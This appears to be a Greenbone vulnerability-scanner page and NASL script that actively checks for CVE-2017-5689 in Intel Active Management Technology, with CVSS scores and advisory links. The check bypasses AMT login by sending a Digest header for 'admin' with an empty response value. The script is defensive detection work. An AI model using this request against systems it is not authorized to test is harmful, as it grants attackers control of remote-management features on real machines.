CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
99.9%
Intel systems with Intel Active Management Technology enabled
are prone to a privilege escalation vulnerability.
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/o:intel:active_management_technology_firmware";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.810996");
script_version("2024-08-23T15:40:37+0000");
script_tag(name:"last_modification", value:"2024-08-23 15:40:37 +0000 (Fri, 23 Aug 2024)");
script_tag(name:"creation_date", value:"2017-05-05 15:39:37 +0530 (Fri, 05 May 2017)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2020-02-18 17:12:00 +0000 (Tue, 18 Feb 2020)");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2017-5689");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Intel Active Management Technology Privilege Escalation Vulnerability (INTEL-SA-00075) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_intel_amt_http_detect.nasl");
script_mandatory_keys("intel/amt/http/detected");
script_require_ports("Services/www", 16992);
script_tag(name:"summary", value:"Intel systems with Intel Active Management Technology enabled
are prone to a privilege escalation vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaw exists due to mishandling of input in an unknown
function.");
script_tag(name:"impact", value:"Successful exploitation will allow an unprivileged attacker to
gain control of the manageability features provided by these products.");
script_tag(name:"affected", value:"Intel Active Management Technology firmware versions 6.x
before 6.2.61.3535, 7.x before 7.1.91.3272, 8.x before 8.1.71.3608, 9.0.x and 9.1.x before
9.1.41.3024, 9.5.x before 9.5.61.3012, 10.x before 10.0.55.3000, 11.0.x before 11.0.25.3001,
11.5.x and 11.6.x before 11.6.27.3264.");
script_tag(name:"solution", value:"Update to version 6.2.61.3535, 7.1.91.3272, 8.1.71.3608,
9.1.41.3024, 9.5.61.3012, 10.0.55.3000, 11.0.25.3001, 11.6.27.3264 or later.");
script_xref(name:"URL", value:"https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00075.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/98269");
script_xref(name:"URL", value:"https://arstechnica.com/security/2017/05/intel-patches-remote-code-execution-bug-that-lurked-in-cpus-for-10-years");
script_xref(name:"URL", value:"https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
exit(0);
url = "/index.htm";
req = http_get_req(port: port, url: url);
res = http_keepalive_send_recv(port: port, data: req);
match = eregmatch(string: res, pattern: '"Digest.(.*)", nonce="(.*)",stale');
if (!isnull(match[1]) && !isnull(match[2])) {
digest = match[1];
nonce = match[2];
} else {
exit(0);
}
cnonce = rand_str(length: 10);
asp_session = 'Digest username="admin", realm="Digest:' + digest + '", nonce="' + nonce +
'", uri="/index.htm", response="", qop=auth, nc=00000001, cnonce="' + cnonce + '"';
headers = make_array("Authorization", asp_session);
req = http_get_req(port: port, url: url, add_headers: headers);
res = http_keepalive_send_recv(port:port, data:req);
if (res =~ "^HTTP/1\.[01] 200" && (">Hardware Information" >< res || ">IP address" >< res ||
">System ID" >< res || ">System<" >< res || ">Processor<" >< res ||
">Memory<" >< res)) {
body = http_extract_body_from_response(data: res);
report = 'It was possible to access /index.htm by bypassing authentication.\n\nResult:\n' + chomp(body);
security_message(port:port, data:report);
exit(0);
}
exit(99);
www.securityfocus.com/bid/98269
arstechnica.com/security/2017/05/intel-patches-remote-code-execution-bug-that-lurked-in-cpus-for-10-years
www.cisa.gov/known-exploited-vulnerabilities-catalog
www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability
www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00075.html
Known Exploited Vulnerability (KEV) catalog
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
99.9%